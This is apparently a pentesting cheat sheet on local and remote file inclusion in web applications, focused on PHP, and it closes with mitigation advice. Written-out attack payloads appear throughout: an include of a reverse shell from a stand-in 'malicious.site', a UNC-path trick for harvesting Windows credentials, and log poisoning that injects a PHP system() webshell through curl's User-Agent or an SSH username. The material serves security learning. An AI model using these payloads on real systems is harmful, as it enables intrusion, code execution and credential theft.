File inclusion
A web application might import/include files based on data from the user. This involves using the user input to:
- π determine configuration files to include
- π determine language files to include
- ...
If the user input isn't properly sanitized, the user may be able to control which files are included, which may allow them:
- πΊοΈ To read local or remote files
- π To leverage a SSRF attack (port mapping, steal files, etc.)
- π² To execute code (either uploaded code, remote code, or using logs)
- π₯ To perform a DoS if a file includes itself
Code/data exposure may further compromise the infrastructure.
There are two categories of file inclusion:
- Local File Inclusion (LFI) π : include a local file
- Remote File Inclusion (RFI) βοΈ: include a remote file
Additional notes:
- π€ Not all include functions can execute code
- π Template engines are more likely to contain LFI/RFI.
- π² While LFI/RFI often involve HTTP, we can also use
ftp://
- π Try
\\YOURIP\share\
RFI on Windows to harvest credentials - π For RFI, try a local URLs first (ex:
http://127.0.0.1:80/index.php
), as remote URLs may be blocked by a firewall
Basic Methodology
Assuming you found some vectors that might lead to a LFI/RFI:
- π Headers
- π Forms
- πͺ Cookies
- π Stored data such as usernames (if they are used in paths)
- ...
You might try to play around with the value to see if it works.
For a list of interesting files to read, aside from the website source code and configuration files, refer to arbitrary file read.
Assuming we have page=about
.
- Test Path:
./about
- Test Null-Byte:
./about.php%00
- Test Path Traversal:
../<folder name>/about
- Test engine-specific payloads, such as
php://filter
- Test Remote File Inclusion
- ...
β οΈ Refer the source code in priority to understand filtering (if any).
PHP File Inclusion
The URL http://example.com/?lang=fr
associated with the code below is an example of a vulnerable PHP code.
include "lang/$_GET[lang].php" // It loads lang/fr.php
Local File Inclusion (LFI) π : inject a local file
// ex: we uploaded a reverse shell (a fake PNG)
// as our avatar (avatar.png), then we could use:
include "lang/../uploads/avatar.png";
include "phar://<refer to php wrappers>";
Remote File Inclusion (RFI) βοΈ: inject a remote file
// π allow_url_fopen MUST BE SET TO true
include "http://malicious.site/reverse_shell.php";
include "data://<refer to php wrappers>";
π₯ PHP include
/require
function executes PHP code.
βοΈ We can use Path traversal or PHP Wrappers to include a malicious file, such as one we uploaded using another attack or execute code.
If the session contains a value that we control, we can inject PHP code in this value, then we can read the session file.
-
/var/lib/php/sessions/sess_<session id>
-
C:\Windows\Temp\sess_<session id>
Log Poisoning
If the vulnerable function can execute code, we may not have to upload a webshell, we can inject PHP code in the logs and read the logs to execute the injected code.
Note that logs must be readable by the web application. Nginx logs are readable by anyone, but not Apache logs.
# Ex: load /var/log/apache2/access.log / ...
$ curl [...] -A "<?php system(\$_GET['cmd']); ?>"
π /proc/self/environ
or /proc/self/fd/<0-50>
will contains the User-Agent too, but they may not be readable either.
We can alternatively poison ssh logs (username), ftp logs, etc.
$ ssh '<?php /*code*/ ?>'@IP # Ex: /var/log/auth.log
Common logs and their location can be found here.
File Inclusion Filter Bypass
Refer to Path Traversal Bypass filters.
File Inclusion Mitigation π‘οΈ
-
πͺ² Do not use user-controlled input to include a file, whether the input is from the database or from a form.
-
𫧠Use whitelists (switch-case value to file, maps, etc.), and avoid directly using user-controlled input
-
πΈοΈ If paths are allowed, refer to path traversal mitigation
-
π« Use additional verifications such as using
realpath
in path to ensure the files are within the allowed directories
-
π Use docker or a similar technology to isolate the application OR lock web applications to their web root directory. In PHP, we can set the
open_basedir
variable in the PHP INI file. Beware that configuration files will still be accessible. -
π‘οΈ In PHP, disable unused dangerous settings such as
allow_url_fopen
orallow_url_include
. -
π Use additional tools such as a WAF, etc.
Refer to PHP Security And Bypasses.
π» To-do π»
Stuff that I found, but never read/used yet.